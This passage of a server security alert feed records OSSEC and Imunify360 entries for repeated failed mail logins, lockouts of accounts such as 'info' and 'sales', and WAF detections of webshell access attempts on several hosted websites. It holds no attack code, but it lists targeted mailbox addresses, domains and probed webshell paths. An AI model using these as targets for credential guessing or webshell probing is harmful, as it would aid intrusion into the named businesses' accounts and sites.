2026-02-01 05:45:07 dovecot_login authenticator failed for H=(j70EaxtC) [45.94.31.131]:65242: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:45:23 dovecot_login authenticator failed for H=(oYfEqRG1oN) [185.36.81.54]:49818: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:45:54 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63300: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:45:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:45:07 dovecot_login authenticator failed for H=(ilqelGhG8) [158.94.208.215]:61850: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 141.98.11.11
country_id: 597427
description:
Feb  1 05:45:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account oichingching@pftfood.com has been locked for the attacker IP 141.98.11.11


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:45:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:45:14 dovecot_login authenticator failed for H=(dWIunLP) [141.98.11.11]:59560: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:45:14 dovecot_login authenticator failed for H=(XZgStH) [158.94.208.175]:50054: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:45:17 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:55676: 535 Incorrect authentication data (set_id=testing@aircarbonic.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:45:21 dovecot_login authenticator failed for H=(ZlkSY5) [178.16.54.22]:54979: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.129.206.14
country_id: 1269750
description:
2026-02-01 05:45:26 dovecot_login authenticator failed for H=([203.129.206.14]) [203.129.206.14]:49406: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 67.60.211.114
country_id: 6252001
description:
Feb  1 05:45:59 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(67.60.211.114)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:45:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 57.129.90.215
country_id: 2921044
description:
2026-02-01 05:45:19 dovecot_login authenticator failed for H=ns3241969.ip-57-129-90.eu [57.129.90.215]:54080: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.190.15.13
country_id: 2017370
description:
2026-02-01 05:45:38 dovecot_login authenticator failed for H=(13.15.190.94.interra.ru) [94.190.15.13]:50514: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:46:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:46:19 dovecot_login authenticator failed for H=(zL1CQo9a) [158.94.208.215]:54968: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.60.211.114
country_id: 6252001
description:
2026-02-01 05:46:01 dovecot_login authenticator failed for H=67-60-211-114.cpe.sparklight.net [67.60.211.114]:57174: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:46:08 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:53062: 535 Incorrect authentication data (set_id=test@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.176.126
country_id: 1269750
description:
2026-02-01 05:46:01 dovecot_login authenticator failed for H=([27.123.119.235]) [122.185.176.126]:44218: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:46:08 dovecot_login authenticator failed for H=(yTNZlfwIvn) [178.16.54.22]:50959: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:46:08 dovecot_login authenticator failed for H=(SQD2IWG5) [45.94.31.131]:49313: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.77.137.236
country_id: 1605651
description:
2026-02-01 05:46:24 dovecot_login authenticator failed for H=([110.77.137.236]) [110.77.137.236]:50000: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.130.47.48
country_id: 6252001
description:
2026-02-01 05:46:51 dovecot_login authenticator failed for H=(localhost.localdomain) [178.130.47.48]:59002: 535 Incorrect authentication data (set_id=2095prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:46:23 dovecot_login authenticator failed for H=(ZOkEeaewcL) [185.36.81.54]:52015: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:46:24 dovecot_login authenticator failed for H=(SvxICFxN) [158.94.208.175]:52013: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:47:17 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:60975: 535 Incorrect authentication data (set_id=test@mams1.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:47:24 dovecot_login authenticator failed for H=(jYKlJRR) [141.98.11.11]:54383: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:47:07 dovecot_login authenticator failed for H=(xRVhmESLtx) [158.94.208.215]:56100: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:47:10 dovecot_login authenticator failed for H=(hea9gKoFh) [158.94.208.175]:56877: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:47:33 dovecot_login authenticator failed for H=(gfe1SU7) [158.94.208.175]:56052: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:47:17 dovecot_login authenticator failed for H=(bsHJzZ) [178.16.54.22]:58743: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:48:25 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:58778: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.241.44
country_id: 2750405
description:
2026-02-01 05:48:51 dovecot_login authenticator failed for H=(localhost.localdomain) [91.92.241.44]:64390: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:48:21 dovecot_login authenticator failed for H=(gBVRGRo0r) [185.36.81.54]:49906: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:48:21 dovecot_login authenticator failed for H=(4DCJTxkgz) [158.94.208.175]:49884: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:48:22 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:62795: 535 Incorrect authentication data (set_id=test@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:48:03 dovecot_login authenticator failed for H=(acRfYAAwR) [178.16.54.22]:56342: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:48:19 dovecot_login authenticator failed for H=(YeCAJX) [158.94.208.215]:50185: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:48:40 dovecot_login authenticator failed for H=(n14A9iY) [141.98.11.11]:61214: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:49:12 dovecot_login authenticator failed for H=(8MLkIrMu) [178.16.54.22]:55799: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:49:07 dovecot_login authenticator failed for H=(zFQ1FMvElz) [158.94.208.175]:55674: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:49:09 dovecot_login authenticator failed for H=(kGRQzNiMSt) [185.36.81.54]:60759: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:49:11 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:50228: 535 Incorrect authentication data (set_id=testing@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:49:15 dovecot_login authenticator failed for H=(zbbgmX6sJl) [141.98.11.11]:57903: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 05:49:40 dovecot_login authenticator failed for H=(JaLQ8u) [158.94.208.110]:58025: 535 Incorrect authentication data (set_id=kee-hong.khoo@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:49:47 dovecot_login authenticator failed for H=(W9Dpc7pC5) [178.16.52.139]:64737: 535 Incorrect authentication data (set_id=info@maalloys.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:49:52 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:49:07 dovecot_login authenticator failed for H=(Rwo4FOtVWY) [158.94.208.215]:62336: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.130.47.48
country_id: 6252001
description:
2026-02-01 05:50:08 dovecot_login authenticator failed for H=(localhost.localdomain) [178.130.47.48]:63457: 535 Incorrect authentication data (set_id=2095intercessors@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:50:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:50:56 dovecot_login authenticator failed for H=(nN1gpneYJU) [178.16.52.139]:53285: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:50:19 dovecot_login authenticator failed for H=(i95t86Qkz) [158.94.208.215]:56185: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:50:11 dovecot_login authenticator failed for H=(gaOqA1) [141.98.11.11]:62879: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:50:17 dovecot_login authenticator failed for H=(alFq75Yl) [158.94.208.175]:65449: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 05:50:54 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.254.26
country_id: 1814991
description:
2026-02-01 05:50:26 dovecot_login authenticator failed for H=([116.113.254.26]) [116.113.254.26]:44904: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:50:42 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:50:21 dovecot_login authenticator failed for H=(hm9WfQ) [178.16.54.22]:60335: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:50:56 dovecot_login authenticator failed for H=(78tfIoaMN) [185.36.81.54]:49397: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-01 05:50:04 dovecot_login authenticator failed for H=(qww9nBLFmI) [158.94.208.110]:61943: 535 Incorrect authentication data (set_id=kee-hong.khoo@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:50:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:51:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:51:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:51:28 dovecot_login authenticator failed for H=(LvkxDckm2) [185.36.81.54]:57080: 535 Incorrect authentication data (set_id=juliza)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/company.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 05:51:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:51:14 dovecot_login authenticator failed for H=(5LBe436f) [178.16.52.139]:65115: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:51:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:51:07 dovecot_login authenticator failed for H=(4zDmEe7Rr) [178.16.54.22]:52942: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:51:07 dovecot_login authenticator failed for H=(OD32GpvN) [158.94.208.215]:54190: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:51:21 dovecot_login authenticator failed for H=(wjqCcUbPXe) [141.98.11.11]:52523: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:51:03 dovecot_login authenticator failed for H=(WWrF3N) [158.94.208.175]:55679: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:52:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:52:16 dovecot_login authenticator failed for H=(IVDGWwsz30) [178.16.54.22]:60416: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 05:52:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:52:41 dovecot_login authenticator failed for H=(poMiBO5j) [141.98.11.11]:60067: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:52:17 dovecot_login authenticator failed for H=(GqE6CATh3m) [158.94.208.215]:58991: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:52:24 dovecot_login authenticator failed for H=(djEAMKv3eo) [178.16.52.139]:62170: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-02-01 05:52:56 dovecot_login authenticator failed for H=(175-180-129-87.adsl.dynamic.seed.net.tw) [175.180.129.87]:46598: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:52:36 dovecot_login authenticator failed for H=(QnQTZ2zk) [185.36.81.54]:50770: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:52:39 dovecot_login authenticator failed for H=(SFTD5dVov) [178.16.54.22]:57793: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:52:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:52:12 dovecot_login authenticator failed for H=(jeWujk) [158.94.208.175]:62403: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:52:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.254.26
country_id: 1814991
description:
2026-02-01 05:53:18 dovecot_login authenticator failed for H=([116.113.254.26]) [116.113.254.26]:41616: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:53:21 dovecot_login authenticator failed for H=(NS22ElFk8P) [158.94.208.175]:56492: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:53:02 dovecot_login authenticator failed for H=(rI8zrKRg8l) [178.16.54.22]:62314: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:53:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:53:05 dovecot_login authenticator failed for H=(KQQBCfCIg) [158.94.208.215]:63970: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.181.238.119
country_id: 6252001
description:
2026-02-01 05:53:13 dovecot_login authenticator failed for H=(ADMIN) [95.181.238.119]:44105: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:53:14 dovecot_login authenticator failed for H=(LDZQWj) [141.98.11.11]:62501: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:53:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.170.218.142
country_id: 1835841
description:
2026-02-01 05:53:26 dovecot_login authenticator failed for H=([121.170.218.142]) [121.170.218.142]:34970: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.75
country_id: 1880251
domain: dynamic-hr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/about.php||SC:/home2/dynamichrcom/public_html/images/about.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:53:08 dovecot_login authenticator failed for H=(2puw5w) [178.16.52.139]:64406: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:53:26 dovecot_login authenticator failed for H=(gy4bjI) [185.36.81.54]:65297: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 05:53:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:53:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.54.22.11
country_id: 1835841
description:
2026-02-01 05:53:46 dovecot_login authenticator failed for H=([14.54.22.11]) [14.54.22.11]:15835: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:54:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:54:08 dovecot_login authenticator failed for H=(RDCLF7zGX8) [185.36.81.54]:52899: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:54:07 dovecot_login authenticator failed for H=(C4ixRP5IH) [158.94.208.175]:60570: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:54:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.55.85.204
country_id: 337996
description:
2026-02-01 05:54:24 dovecot_login authenticator failed for H=([197.156.121.38]) [213.55.85.204]:49077: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:54:11 dovecot_login authenticator failed for H=(JxqFwj2V) [178.16.54.22]:59283: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:54:11 dovecot_login authenticator failed for H=(TMfXcMdVF) [141.98.11.11]:59977: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:54:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:54:17 dovecot_login authenticator failed for H=(1zTNeoX) [158.94.208.215]:59503: 535 Incorrect authentication data (set_id=sales)


plugin: modsec
rule: 77093094
abuser: 101.108.51.244
country_id: 1605651
domain: 42.0.28.25
description:
